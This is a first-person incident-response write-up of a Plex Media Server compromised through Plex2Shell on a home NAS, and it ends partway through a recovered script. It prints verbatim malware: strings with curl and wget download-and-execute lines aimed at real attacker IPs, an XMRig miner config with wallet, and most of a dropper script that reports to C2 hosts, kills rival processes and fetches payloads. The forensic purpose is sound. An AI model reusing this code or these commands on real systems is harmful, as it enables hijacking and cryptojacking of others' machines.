The responsible disclosure email

I woke up on 5 November 2026 and found the following email waiting in my inbox:

The email was from Raj at rrccyber.com, informing me that my Plex Media Server had been compromised. At first, I thought it might be spam, but a quick review showed it contained accurate personal information about my Plex Media Server running on my Synology NAS, which had been exposed to the public internet for years.

Unfortunately, I had missed the news about the Plex2Shell vulnerability and had not updated Plex Media Server in time. That meant I had to assume the server was compromised and urgently begin mitigating the incident.

What is Plex2Shell?

Plex2Shell is a chain of security flaws that allows an unauthenticated attacker to take control of an internet-exposed Plex Media Server. By tricking Plex into trusting malicious internal requests, an attacker can steal the owner's admin token and execute code on the underlying system as the Plex user.

To better understand the vulnerability, I recommend reading this excellent write-up by the security researcher who discovered the flaw, Zach Main:
https://zmain.info/blog/plex2shell

Investigating the compromise

Initial triage

I logged into my Synology NAS, which hosts my Plex Media Server, and immediately noticed it was extremely slow. I could barely navigate the interface at all. CPU usage was pinned at 100%, which was an early sign that a miner might be running.

As a first step, I disconnected the Plex Media Server from the internet via my router. Next, I restarted the NAS. After the fresh boot, the NAS became responsive again.

I then confirmed that Plex was running version 1.42.1.10060, which is vulnerable, so I had to assume compromise.

At this point, you may be in a good position to run a hunt script like the one from Zach Main to look for signs of compromise:
https://github.com/code-zm/plex2shell/blob/main/detection/hunt/plex2shell-hunt.sh

However, I decided to look around myself, because that is much more fun!

I SSHed into the box and started searching for signs of a breach. First, I checked the Plex Codecs folder for suspicious files that may have been dropped:

root@earth:~# find "/volume1/PlexMediaServer/AppData/Plex Media Server/Codecs" \
    -type f \
    -exec stat -c '%y | %U:%G | %s bytes | %n' {} \; |
    sort -r
2026-11-05 02:55:06.124395496 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zz6f147.so
2026-11-03 16:19:57.697897803 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzc68dac766f66b7777a311.so
2026-11-03 13:14:05.546587672 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzcfbbe393b8cf236f63580.so
2026-11-03 10:17:05.185745837 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzc9f61c6ecf708d5399b90.so
2026-11-03 07:52:05.771451577 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzc7d3e158026d970e05c5b.so
2026-11-02 00:01:10.132378286 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/aa41666.so
2026-11-01 22:17:25.630466407 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zz35438.so
2026-11-01 00:10:35.643040278 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzc727643641c71dc5c2b51.so
2026-10-25 01:57:27.530349535 +1000 | PlexMediaServer:PlexMediaServer | 1821688 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/liblibx264_encoder.so
2025-07-23 20:14:53.275656045 +1000 | PlexMediaServer:PlexMediaServer | 300584 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libdca_decoder.so
2025-07-23 20:14:52.897648844 +1000 | PlexMediaServer:PlexMediaServer | 273464 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libaac_decoder.so
2025-07-23 20:14:52.540642043 +1000 | PlexMediaServer:PlexMediaServer | 138744 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libac3_decoder.so
2025-07-23 20:14:52.163634862 +1000 | PlexMediaServer:PlexMediaServer | 203928 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libaac_encoder.so
2025-07-23 20:14:51.795627852 +1000 | PlexMediaServer:PlexMediaServer | 124968 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libmp3_decoder.so
2025-07-23 20:14:51.435620994 +1000 | PlexMediaServer:PlexMediaServer | 772656 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libmpeg4_decoder.so
2025-07-23 20:14:51.059613831 +1000 | PlexMediaServer:PlexMediaServer | 1509968 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libhevc_decoder.so
2025-07-23 20:14:50.603605145 +1000 | PlexMediaServer:PlexMediaServer | 1596496 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libh264_decoder.so
2024-08-30 10:25:16.309987055 +1000 | PlexMediaServer:PlexMediaServer | 2298256 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/EasyAudioEncoder-8f4ca5ead7783c54a4930420-linux-x86_64/EasyAudioEncoder/EasyAudioEncoder
2024-08-30 10:25:16.309987055 +1000 | PlexMediaServer:PlexMediaServer | 134 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/EasyAudioEncoder-8f4ca5ead7783c54a4930420-linux-x86_64/EasyAudioEncoder/eae-license.txt
2022-08-27 00:30:20.074893299 +1000 | PlexMediaServer:PlexMediaServer | 1011504 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/EasyAudioEncoder-1785-linux-x86_64.zip
2022-05-28 18:53:01.682540131 +1000 | PlexMediaServer:PlexMediaServer | 36 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/.device-id

This is strong evidence that my Plex instance was compromised.

We can see the baseline Plex codecs with last-modified dates in July 2025, along with several suspicious files dated between 1 November 2026 and 5 November 2026.

These modification times roughly establish a timeline of breach activity:

  • 1 November 2026, 00:10:35 zzc727643641c71dc5c2b51.so
  • 1 November 2026, 22:17:25 zz35438.so
  • 2 November 2026, 00:01:10 aa41666.so
  • 3 November 2026, 07:52:05 zzc7d3e158026d970e05c5b.so
  • 3 November 2026, 10:17:05 zzc9f61c6ecf708d5399b90.so
  • 3 November 2026, 13:14:05 zzcfbbe393b8cf236f63580.so
  • 3 November 2026, 16:19:57 zzc68dac766f66b7777a311.so
  • 5 November 2026, 02:55:06 zz6f147.so

However, as we will see later, evidence of compromise existed before these dates, but some earlier files had already been deleted.

Discovering the crypto miner

I checked whether these suspicious shared objects were executable ELF libraries:

root@earth:~# for f in \
    "$DIR"/zz*.so \
    "$DIR"/aa41666.so \
    "$DIR"/liblibx264_encoder.so
do
    printf '\n=== %s ===\n' "$(basename "$f")"
    od -An -tx1 -N16 "$f"
done
=== zz35438.so ===
 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

=== zz6f147.so ===
 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

=== zzc68dac766f66b7777a311.so ===
 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

=== zzc727643641c71dc5c2b51.so ===
 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

=== zzc7d3e158026d970e05c5b.so ===
 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

=== zzc9f61c6ecf708d5399b90.so ===
 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

=== zzcfbbe393b8cf236f63580.so ===
 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

=== aa41666.so ===
 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

=== liblibx264_encoder.so ===
 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

This confirmed that the randomly named files were 64-bit Linux ELF shared libraries, as they began with the ELF magic bytes 7f 45 4c 46.

Next, I checked the strings output of each codec file for suspicious keywords and found some further clues:

===== aa41666.so =====

===== liblibx264_encoder.so =====
/* 7.18.1.1  Exact-width integer types */
/home/runner/_work/plex-conan/plex-conan/plex-toolchain/unpacked/343/bin/../targets/x86_64-linux-musl/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libpciaccess/0.17-6/plex/main/package/7763a87432c78a82fd36373080b064286892cea3/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libdrm/2.4.120-4/plex/main/package/ba4ee9fcf280d38ea7457f18301aac09908b7976/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/intel-gmmlib/22.3.19-0/plex/main/package/d7d5d1f35ff92a8c39da6b47605055e839a42a9c/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libva/2.21.0-7/plex/main/package/f0f4893209b867ce448a96e25ef4d6b158311557/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/iconv/1.16-36/plex/main/package/da4999666f4b1709dd93ae40fffdb2c6f130b23f/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/openssl/3.1.1-2cf4e90-4/plex/main/package/121b5d655884b039b2c06c747f3d73ef7b698b66/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libpciaccess/0.17-6/plex/main/package/7763a87432c78a82fd36373080b064286892cea3/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libdrm/2.4.120-4/plex/main/package/ba4ee9fcf280d38ea7457f18301aac09908b7976/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/intel-gmmlib/22.3.19-0/plex/main/package/d7d5d1f35ff92a8c39da6b47605055e839a42a9c/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libva/2.21.0-7/plex/main/package/f0f4893209b867ce448a96e25ef4d6b158311557/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/iconv/1.16-36/plex/main/package/da4999666f4b1709dd93ae40fffdb2c6f130b23f/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/openssl/3.1.1-2cf4e90-4/plex/main/package/121b5d655884b039b2c06c747f3d73ef7b698b66/lib:XORIGIN/../lib:XORIGIN/lib
Variance AQ (complexity mask)
x264 - core %d%s - H.264/MPEG-4 AVC codec - Copy%s 2003-2020 - http://www.videolan.org/x264.html - options: %s

===== zz35438.so =====
      "url": "185.146.232.55:443",
PLEX_FORCE_RESTART=1; export PLEX_FORCE_RESTART; PLEX_PROXY_ONLY=1; export PLEX_PROXY_ONLY; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH; D=/var/tmp; [ -w $D ] || D=/tmp; [ -w $D ] || D=$HOME; cd $D || exit 1; rm -f pd.sh deploy.log .pxcfg_proxy.b64 .pxcfg_auto.b64 .pxcfg_light.b64 /tmp/.pxcfg_proxy.b64 /tmp/.pxcfg_auto.b64 /tmp/.pxcfg_light.b64 $HOME/.pxcfg_proxy.b64 $HOME/.pxcfg_auto.b64 $HOME/.pxcfg_light.b64 2>/dev/null; rm -rf /var/tmp/.pxdeploy.lock /tmp/.pxdeploy.lock 2>/dev/null; cat > plex_exp_proxy.json <<'__PLEXCFG__'
__PLEXCFG__
if command -v curl >/dev/null 2>&1; then curl -fsS --connect-timeout 5 --max-time 30 'http://95.133.167.25:18899/plex_deploy.sh' -o pd.sh; fi; if [ ! -s pd.sh ] && command -v wget >/dev/null 2>&1; then wget -q -T 15 -t 1 'http://95.133.167.25:18899/plex_deploy.sh' -O pd.sh; fi; if [ ! -s pd.sh ] && command -v perl >/dev/null 2>&1; then perl -MHTTP::Tiny -e 'my $u=HTTP::Tiny->new(timeout=>35);my $r=$u->mirror($ARGV[0],$ARGV[1]);exit($r->{success}?0:1)' 'http://95.133.167.25:18899/plex_deploy.sh' pd.sh; fi; [ -s pd.sh ] || { echo NOSCRIPT; exit 1; }; /bin/sh pd.sh >> deploy.log 2>&1

===== zz6f147.so =====
GET /b/plex-linux-x86_64 HTTP/1.0
GET /plexmedia.x86_64 HTTP/1.0
Host: plex
rm -f /var/lib/plexmediaserver/Library/Application?Support/Plex?Media?Server/Codecs/*/zz*.so

===== zzc68dac766f66b7777a311.so =====
/.plexgoods-agent-http://209.99.185.237:9090/vcenter/reporthttp://209.99.185.237:9090/vcenter/stageremote_file_okremote_agent_exec131072
Host: 209.99.185.237
PLEXGOODS_AGENT_SIZE=6344830
PLEXGOODS_AGENT_SIZE_TEXT
PLEXGOODS_AGENT_WORKERS=1024
PLEXGOODS_MAX_HOSTS=131072
PLEXGOODS_MAX_HOSTS_CONFIG
plexgoods-agent

===== zzc727643641c71dc5c2b51.so =====
m=$1;base='/var/packages/PlexMediaServer/shares/PlexMediaServer/AppData/Plex Media Server/Codecs';d=$(find "$base" -mindepth 1 -maxdepth 1 -type d -name '*-linux-x86_64' 2>/dev/null | head -n 1);if [ -z "$d" ];then echo no_codec_dir;echo __VC_SHELL_${m}_END__ rc=3;exit 3;fi;f="$d/.vcscan-$m";rm -f "$f";curl -fsSL --connect-timeout 10 --max-time 30 http://209.99.186.174:9090/agent.exe -o "$f" && chmod 700 "$f" && "$f";rc=$?;rm -f "$f";echo __VC_SHELL_${m}_END__ rc=$rc;echo __PLEXGOODS_END__
plexgoods

===== zzc7d3e158026d970e05c5b.so =====
/.plexgoods-agent-GET /agent.exe?run= HTTP/1.0
Host: 209.99.185.237
http://209.99.185.237:9090/vc-marker?old=http://209.99.185.237:9090/vcenter/reporthttp://209.99.185.237:9090/vcenter/stage
plexgoods-agent

===== zzc9f61c6ecf708d5399b90.so =====
/.plexgoods-agent-GET /agent.exe?run= HTTP/1.0
Host: 209.99.185.237
http://209.99.185.237:9090/vc-marker?old=http://209.99.185.237:9090/vcenter/reporthttp://209.99.185.237:9090/vcenter/stage
plexgoods-agent

===== zzcfbbe393b8cf236f63580.so =====
/.plexgoods-agent-http://209.99.185.237:9090/vcenter/reporthttp://209.99.185.237:9090/vcenter/stageremote_file_okremote_agent_exec131072
Host: 209.99.185.237
PLEXGOODS_AGENT_SIZE=6299774
PLEXGOODS_AGENT_SIZE_TEXT
PLEXGOODS_AGENT_WORKERS=1024
PLEXGOODS_MAX_HOSTS=131072
PLEXGOODS_MAX_HOSTS_CONFIG
plexgoods-agent

This revealed evidence of multiple malicious payloads, with embedded IP addresses pointing to infrastructure used by the malware.

I then searched for files that these payloads appeared to be attempting to create:

root@earth:~# find /var/tmp /tmp "/volume1/PlexMediaServer" -xdev -type f \
    \( -name 'pd.sh' \
    -o -name 'deploy.log' \
    -o -name 'plex_exp_proxy.json' \
    -o -name '.pxcfg_*' \
    -o -name '.plexgoods-agent-*' \
    -o -name '.vcscan-*' \
    -o -name 'agent.exe' \
    -o -name 'plexmedia.x86_64' \) \
    -ls 2>/dev/null

40051    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer      873 Nov  5 13:44 /var/tmp/plex_exp_proxy.json

Notice that /var/tmp/plex_exp_proxy.json was created on 5 November, at the time of my first NAS reboot. This confirms that malicious code persisted within the compromised Plex installation and executed again when Plex started after the reboot.

There were also files related to the compromise outside /volume1/PlexMediaServer, which is the folder used by the PlexMediaServer package and user. These files existed in public, world-writable directories that the PlexMediaServer user could write to.

Looking at /var/tmp/plex_exp_proxy.json, we see:

root@earth:~# sha256sum /var/tmp/plex_exp_proxy.json
ead5e2b39f15d56fbc82d4bda3a4fdc142efb714396e105ca0ec150f15dacec2  /var/tmp/plex_exp_proxy.json
root@earth:~# stat /var/tmp/plex_exp_proxy.json
  File: /var/tmp/plex_exp_proxy.json
  Size: 873             Blocks: 8          IO Block: 4096   regular file
Device: 900h/2304d      Inode: 40051       Links: 1
Access: (0644/-rw-r--r--)  Uid: (297536/PlexMediaServer)   Gid: (297536/PlexMediaServer)
Access: 2026-11-05 13:44:14.295950465 +1000
Modify: 2026-11-05 13:44:14.296950504 +1000
Change: 2026-11-05 13:44:14.296950504 +1000
 Birth: -
root@earth:~# sed -n '1,200p' /var/tmp/plex_exp_proxy.json
{
  "api": {
    "id": null
  },
  "http": {
    "enabled": false
  },
  "autosave": false,
  "cpu": {
    "enabled": true,
    "huge-pages": true,
    "memory-pool": false,
    "priority": null,
    "yield": true,
    "max-threads-hint": 100
  },
  "randomx": {
    "init": -1,
    "mode": "auto",
    "rdmsr": true,
    "wrmsr": true,
    "numa": false,
    "1gb-pages": false
  },
  "pools": [
    {
      "url": "185.146.232.55:443",
      "user": "8BK3ZSpcKkQKULyo8fJv4yAt4k3suXdLtjQpksjTT1qFjffznzBaJiE9abqGZC2sFtR5d2dKN5DEhftvUpLdT6dt8Gx9y6x",
      "pass": "533a0ff6f84f5a41ddf77c739b8226363918b942",
      "keepalive": true,
      "enabled": true,
      "tls": true,
      "rig-id": "V_serversr_d8d5",
      "tls-fingerprint": "D2CC627EFFA8B10BE77541862C66DD9FF84B5FFC8858E3A0CB836B617A90151C"
    }
  ],
  "retries": 30,
  "retry-pause": 5,
  "donate-level": 1
}

This is an XMRig configuration for mining Monero (XMR). It explains the severe NAS slowness and sustained 100% CPU usage I observed.

I also found two byte-identical copies of the miner binary: /var/tmp/.cache/.kworker394 and /var/tmp/Plex Tuner Service. Both names were chosen to masquerade as legitimate kernel or Plex processes. A watchdog script, shell profile entries and a user-level systemd unit were also present to help keep the miner running.

Discovering the C2 agent

It was now a good time to find all files on the box owned by the compromised PlexMediaServer user outside /volume1/PlexMediaServer. I ran the following command:

{
    echo '=== DSM system partition ==='
    find / -xdev -uid 297536 -ls 2>/dev/null

    echo '=== Volume 1 ==='
    find /volume1 -xdev -uid 297536 -ls 2>/dev/null

    echo '=== RAM-backed filesystems ==='
    find /tmp /dev/shm /run /dev/virtualization \
        -xdev -uid 297536 -ls 2>/dev/null
} | tee /volume1/IncidentEvidence/uid-297536-all-files.txt

This returned several hits:

=== DSM system partition ===
 58662    4 drwx------   2 PlexMediaServer users        4096 May 28  2022 /usr/syno/etc/packages/SecureSignIn/preference/PlexMediaServer
 42271    4 drwxr-xr-x   2 PlexMediaServer PlexMediaServer     4096 Nov  5 13:44 /var/tmp/.cache
 40060  392 -rwxr-xr-x   1 PlexMediaServer PlexMediaServer   401071 Nov  5 13:44 /var/tmp/.cache/.kworker394
 40066    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:44 /var/tmp/.cache/.kworker394.tag
 40062    4 -rwxr-xr-x   1 PlexMediaServer PlexMediaServer      415 Nov  5 13:44 /var/tmp/.cache/.kworker394.loop
 40058    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /var/tmp/plex_deploy.sh -> /dev/null
 40063    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer       99 Nov  5 13:44 /var/tmp/.bashrc
 36092    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /var/tmp/pd.sh -> /dev/null
 40057    4 -rw-rw-rw-   1 PlexMediaServer PlexMediaServer        6 Nov  5 13:44 /var/tmp/.boat.lock
 40056    0 -rw-r--r--   1 PlexMediaServer PlexMediaServer        0 Nov  5 13:44 /var/tmp/PlexScriptHost.lck
 40055   12 -rwxr-xr-x   1 PlexMediaServer PlexMediaServer     5779 Nov  5 13:44 /var/tmp/Plex\ SQLite
 40078    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /var/tmp/pd3.sh -> /dev/null
 40065    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer       99 Nov  5 13:44 /var/tmp/.bash_profile
 40064    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer       99 Nov  5 13:44 /var/tmp/.profile
 40068    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer       11 Nov  5 13:56 /var/tmp/PlexScriptHost\ (deleted).beat
 42575    4 drwxr-xr-x   3 PlexMediaServer PlexMediaServer     4096 Nov  5 13:44 /var/tmp/.config
 42579    4 drwxr-xr-x   3 PlexMediaServer PlexMediaServer     4096 Nov  5 13:44 /var/tmp/.config/systemd
 42580    4 drwxr-xr-x   2 PlexMediaServer PlexMediaServer     4096 Nov  5 13:44 /var/tmp/.config/systemd/user
 40061    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer      225 Nov  5 13:44 /var/tmp/.config/systemd/user/kworker394.service
 40052  392 -rwxr-xr-x   1 PlexMediaServer PlexMediaServer   401071 Nov  5 13:44 /var/tmp/Plex\ Tuner\ Service
 40051    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer      873 Nov  5 13:44 /var/tmp/plex_exp_proxy.json
=== Volume 1 ===
3317438    0 drwxr-xr-x   1 PlexMediaServer PlexMediaServer        0 May 28  2022 /volume1/@appdata/PlexMediaServer
3317440    0 drwx------   1 PlexMediaServer PlexMediaServer       20 Oct 26 09:50 /volume1/@apphome/PlexMediaServer
32114038    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer      164 Oct 26 09:50 /volume1/@apphome/PlexMediaServer/.wget-hsts
3317441    0 drwxr-xr-x   1 PlexMediaServer PlexMediaServer        0 May 28  2022 /volume1/@appconf/PlexMediaServer
20984589    0 drwxr-xr-x   1 PlexMediaServer PlexMediaServer        0 Aug  3  2025 /volume1/@appshare/PlexMediaServer
=== RAM-backed filesystems ===
595976    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /tmp/plex_deploy.sh -> /dev/null
595975    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /tmp/pd2.sh -> /dev/null
595066    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /tmp/pd3.sh -> /dev/null
595065    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /tmp/pd.sh -> /dev/null
115163    4 -rw-rw-rw-   1 PlexMediaServer PlexMediaServer        6 Nov  5 13:44 /tmp/.boat.lock
110460   12 -rw-r--r--   1 PlexMediaServer PlexMediaServer    10633 Nov  5 13:44 /tmp/i
595979    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /dev/shm/plex_deploy.sh -> /dev/null
595978    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /dev/shm/pd3.sh -> /dev/null
595977    0 lrwxrwxrwx   1 PlexMediaServer PlexMediaServer        9 Nov  5 13:58 /dev/shm/pd.sh -> /dev/null
115161    4 -rw-rw-rw-   1 PlexMediaServer PlexMediaServer        6 Nov  5 13:44 /dev/shm/.boat.lock
109210    0 -rw-r--r--   1 PlexMediaServer PlexMediaServer        0 Nov  5 13:44 /dev/shm/.kpx.lck
 61969    4 -rw-r--r--   1 PlexMediaServer PlexMediaServer       32 Nov  5 13:42 /dev/shm/9334581e-7251-4ef7-a8ec-5bfe8e89ff68

The larger /tmp/i file looked particularly interesting, so I took a look at its contents:

#!/bin/sh
# Plex exclusive land. Names rotate among official PMS helpers so a rival
# copying PlexScriptHost / CrashUploader kill lists misses us.
export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin
T="${1:-app-plex}"
B="http://80.87.206.91"
B2="http://80.87.206.95"
B3="http://80.87.206.86"
B4=""
dbg() {
  wget -q -T 6 -O /dev/null --post-data="$1" "$B/_dbg" 2>/dev/null \
  || curl -fsS -m 6 -d "$1" "$B/_dbg" >/dev/null 2>&1 || true
}
escape() {
  echo $$ > /sys/fs/cgroup/cgroup.procs 2>/dev/null || true
  echo $$ > /sys/fs/cgroup/init.scope/cgroup.procs 2>/dev/null || true
  for d in /sys/fs/cgroup/*/cgroup.procs /sys/fs/cgroup/*/*/cgroup.procs; do
    echo $$ > "$d" 2>/dev/null || true
  done
}
ours() {
  case "$1" in
    *"Plex SQLite"*|*"Plex Relay"*|*"Plex Scanner"*|*"Plex DLNA"*|*"Plex Tuner"*) return 0 ;;
    *PlexScriptHost*|*PlexTunerService*|*CrashUploader*) return 0 ;;
    *post-data=step*|*A-plex*|*80.87.206.91/_dbg*|*80.87.206.95/_dbg*) return 0 ;;
    *"Plex Media Server"*|*Plex\ Transcoder*|*ffmpeg*|*EasyAudioEncoder*) return 0 ;;
  esac
  return 1
}
kr() {
  for x in /proc/[0-9]*; do
    pid=${x#/proc/}
    cmd=$(tr '\0' ' ' < "$x/cmdline" 2>/dev/null) || continue
    ours "$cmd" && continue
    case "$cmd" in
      *18899*|*plex_deploy*|*pd.sh*|*pd3.sh*|*pd2.sh*|*130.94.112*|*89.125.187*|*PLEX_FORCE_RESTART*|*PLEX_PROXY_ONLY*)
        kill -9 "$pid" 2>/dev/null
      ;;
      *PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin*)
        kill -9 "$pid" 2>/dev/null
      ;;
      *systemctl*restart*plex*|*killall*Plex*|*pkill*Plex*)
        kill -9 "$pid" 2>/dev/null
      ;;
    esac
  done
  for f in /tmp/pd.sh /tmp/pd3.sh /tmp/pd2.sh /tmp/plex_deploy.sh \
           /dev/shm/pd.sh /dev/shm/pd3.sh /var/tmp/pd.sh; do
    ln -sfn /dev/null "$f" 2>/dev/null || true
  done
}
pick() {
  h=$( (uname -n; cat /etc/machine-id 2>/dev/null; id -u) | cksum | awk '{print $1}' )
  n=$(( ${h:-1} % 5 ))
  g=$(( (${h:-1} / 5) % 5 ))
  [ "$g" = "$n" ] && g=$(( (n + 1) % 5 ))
  i=0
  NAME="Plex SQLite"
  GNAME="Plex Relay"
  while IFS= read -r x; do
    [ "$i" = "$n" ] && NAME=$x
    [ "$i" = "$g" ] && GNAME=$x
    i=$((i + 1))
  done <<'EOF'
Plex SQLite
Plex Relay
Plex Scanner
Plex DLNA Server
Plex Tuner Service
EOF
}
is_ours_exe() {
  # Official PMS: /usr/lib/plexmediaserver/Plex SQLite etc. Must not count as our ELF
  # or we skip download (step=have) and never C2.
  case "$1" in
    /usr/lib/plexmediaserver/*|*/usr/lib/plexmediaserver/*) return 1 ;;
    *PlexScriptHost*) return 0 ;;
  esac
  return 1
}
escape
kr
H="${HOME}"
[ -n "$H" ] && [ -d "$H" ] && [ "$H" != /tmp ] && [ "$H" != /dev/shm ] \
  || H=$(getent passwd "$(id -u)" 2>/dev/null | cut -d: -f6)
[ -n "$H" ] && [ -d "$H" ] && [ "$H" != /tmp ] || H=/var/lib/plexmediaserver
C=""
for p in /proc/[0-9]*; do
  [ -r "$p/maps" ] || continue
  m=$(awk '/\/Codecs\//{for(i=1;i<=NF;i++) if($i~"/Codecs/") {print $i; exit}}' "$p/maps" 2>/dev/null)
  [ -n "$m" ] || continue
  d=${m%/*}
  [ -d "$d" ] && [ -w "$d" ] && C=$d && break
done
[ -n "$C" ] && [ -w "$C" ] || C=$H
[ -n "$C" ] && [ -d "$C" ] || C=/var/tmp
export HOME="$C"
mkdir -p "$C" 2>/dev/null || true
pick
# Exec path stays PlexScriptHost so current ELF skips .kworker hop.
# Rotated official names are backups: rivals grepping PlexScriptHost miss the copies.
PX="$C/PlexScriptHost"
BK="$C/$NAME"
RP="$C/$GNAME"
src=$(ip -4 route get 80.87.206.91 2>/dev/null | awk '{for(i=1;i<=NF;i++) if($i=="src") print $(i+1)}')
dbg "step=boot u=$(uname -m 2>/dev/null) id=$(id -u 2>/dev/null) home=$H c=$C name=$NAME g=$GNAME src=$src"
a=$(uname -m 2>/dev/null)
case $a in
  *aarch64*|*arm64*) a=4 ;;
  *arm*) a=3 ;;
  *x86_64*|*amd64*) a=1 ;;
  *i?86*) a=2 ;;
  *) a=1 ;;
esac
fetch() {
  url="$1"; out="$2"; min="$3"; n=0
  while [ "$n" -lt 4 ]; do
    n=$((n+1))
    rm -f "$out"
    wget -q -T 25 -O "$out" "$url" || curl -fsS --max-time 25 -o "$out" "$url" || busybox wget -q -T 25 -O "$out" "$url" || continue
    sz=$(wc -c < "$out" 2>/dev/null || echo 0)
    [ "$sz" -ge "$min" ] && return 0
  done
  rm -f "$out"
  return 1
}
fetch_rel() {
  rel="$1"; out="$2"; min="$3"
  fetch "$B/$rel" "$out" "$min" && return 0
  fetch "$B2/$rel" "$out" "$min" && return 0
  fetch "$B3/$rel" "$out" "$min" && return 0
  [ -n "$B4" ] && fetch "$B4/$rel" "$out" "$min" && return 0
  return 1
}
live=""
for x in /proc/[0-9]*/exe; do
  t=$(readlink "$x" 2>/dev/null) || continue
  is_ours_exe "$t" || continue
  live=${x#/proc/}; live=${live%/exe}
  cmd=$(tr '\0' ' ' < /proc/"$live"/cmdline 2>/dev/null)
  case "$cmd" in *app-plex*) break ;; esac
  # PlexScriptHost path is ours even without args
  break
done
if [ -z "$live" ]; then
  for f in /tmp/.boat.lock /dev/shm/.boat.lock /var/tmp/.boat.lock "$C/.boat.lock" "$H/.boat.lock"; do
    [ -f "$f" ] || continue
    pid=$(head -1 "$f" 2>/dev/null)
    if [ -n "$pid" ] && kill -0 "$pid" 2>/dev/null; then live=$pid; break; fi
  done
fi
c2up() {
  # Only jump :443. ESTAB to :80 is the HTTP mux and does not count as C2.
  pat='176\.123\.7\.7:443|80\.87\.206\.86:443|80\.87\.206\.91:443|80\.87\.206\.95:443'
